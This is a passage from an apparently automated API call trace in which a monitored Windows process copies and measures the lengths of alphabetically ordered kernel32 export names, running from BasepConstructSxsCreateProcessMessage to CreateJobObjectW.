(lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0106.977] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0106.977] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0106.977] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0106.977] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0106.977] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0106.977] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0106.977] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0106.977] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0106.977] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0106.977] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0106.977] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0106.978] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0106.978] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0106.978] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0106.978] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0106.978] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0106.978] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0106.978] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0106.978] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0106.978] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0106.978] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0106.978] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0106.978] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0106.978] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0106.978] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0106.978] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0106.978] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0106.978] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0106.978] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0106.978] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0106.978] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0106.978] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0106.979] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0106.979] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0106.979] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0106.979] lstrlenA (lpString="BEEP") returned 4 [0106.979] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0106.979] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0106.979] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0106.979] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0106.979] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0106.979] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0106.979] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0106.979] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0106.979] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0106.979] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0106.979] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0106.979] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0106.979] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0106.979] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0106.979] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0106.979] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0106.980] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0106.980] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0106.980] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0106.980] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0106.980] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0106.980] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0106.980] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0106.980] lstrlenA (lpString="CANCELIO") returned 8 [0106.980] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0106.980] lstrlenA (lpString="CANCELIOEX") returned 10 [0106.980] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0106.980] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0106.980] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0106.980] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0106.980] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0106.980] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0106.980] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0106.980] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0106.980] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0106.980] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0106.980] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0106.981] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0106.981] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0106.981] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0106.981] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0106.981] lstrlenA (lpString="CHECKELEVATION") returned 14 [0106.981] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0106.981] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0106.981] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0106.981] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0106.981] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0106.981] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0106.981] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0106.981] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0106.981] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0106.981] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0106.981] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0106.981] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0106.981] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0106.981] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0106.981] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0106.982] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0106.982] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0106.982] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0106.982] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0106.982] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0106.982] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0106.982] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0106.982] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0106.982] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0106.982] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0106.982] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0106.982] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0106.982] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0106.982] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0106.982] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0106.982] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0106.982] lstrlenA (lpString="CLOSESTATE") returned 10 [0106.982] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0106.982] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0106.982] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0106.983] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0106.983] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0106.983] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0106.983] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0106.983] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0106.983] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0106.983] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0106.983] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0106.983] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0106.983] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0106.983] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0106.983] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0106.983] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0106.983] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0106.983] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0106.983] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0106.983] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0106.983] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0106.983] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0106.983] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0106.983] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0106.984] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0106.984] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0106.984] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0106.984] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0106.984] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0106.984] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0106.984] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0106.984] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0106.984] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0106.984] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0106.984] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0106.984] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0106.984] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0106.984] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0106.984] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0106.984] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0106.984] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0106.984] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0106.985] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0106.985] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0106.985] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0106.985] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0106.985] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0106.985] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0106.985] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0106.985] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0106.985] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0106.985] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0106.985] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0106.985] lstrlenA (lpString="COPYCONTEXT") returned 11 [0106.985] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0106.985] lstrlenA (lpString="COPYFILE2") returned 9 [0106.985] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0106.985] lstrlenA (lpString="COPYFILEA") returned 9 [0106.985] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0106.985] lstrlenA (lpString="COPYFILEEXA") returned 11 [0106.985] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0106.985] lstrlenA (lpString="COPYFILEEXW") returned 11 [0106.986] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0106.986] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0106.986] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0106.986] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0106.986] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0106.986] lstrlenA (lpString="COPYFILEW") returned 9 [0106.986] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0106.986] lstrlenA (lpString="COPYLZFILE") returned 10 [0106.986] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0106.986] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0106.986] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0106.986] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0106.986] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0106.986] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0106.986] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0106.986] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0106.986] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0106.986] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0106.986] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0106.986] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0106.986] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0106.986] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0106.986] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0106.986] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0106.986] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0106.987] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0106.987] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0106.987] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0106.987] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0106.987] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0106.987] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0106.987] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0106.987] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0106.987] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0106.987] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0106.987] lstrlenA (lpString="CREATEEVENTA") returned 12 [0106.987] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0106.987] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0106.987] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0106.987] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0106.987] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0106.987] lstrlenA (lpString="CREATEEVENTW") returned 12 [0106.987] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0106.987] lstrlenA (lpString="CREATEFIBER") returned 11 [0106.987] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0106.987] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0106.987] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0106.987] lstrlenA (lpString="CREATEFILE2") returned 11 [0106.987] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0106.987] lstrlenA (lpString="CREATEFILEA") returned 11 [0106.987] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0106.987] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0106.987] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0106.987] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0106.987] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0106.987] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0106.988] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0106.988] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0106.988] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0106.988] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0106.988] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0106.988] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0106.988] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0106.988] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0106.988] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0106.988] lstrlenA (lpString="CREATEFILEW") returned 11 [0106.988] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0106.988] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0106.988] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0106.988] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0106.988] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0106.988] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0106.988] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0106.988] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0106.988] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0106.988] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0106.988] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0106.988] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0106.988] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0106.988] lstrlenA 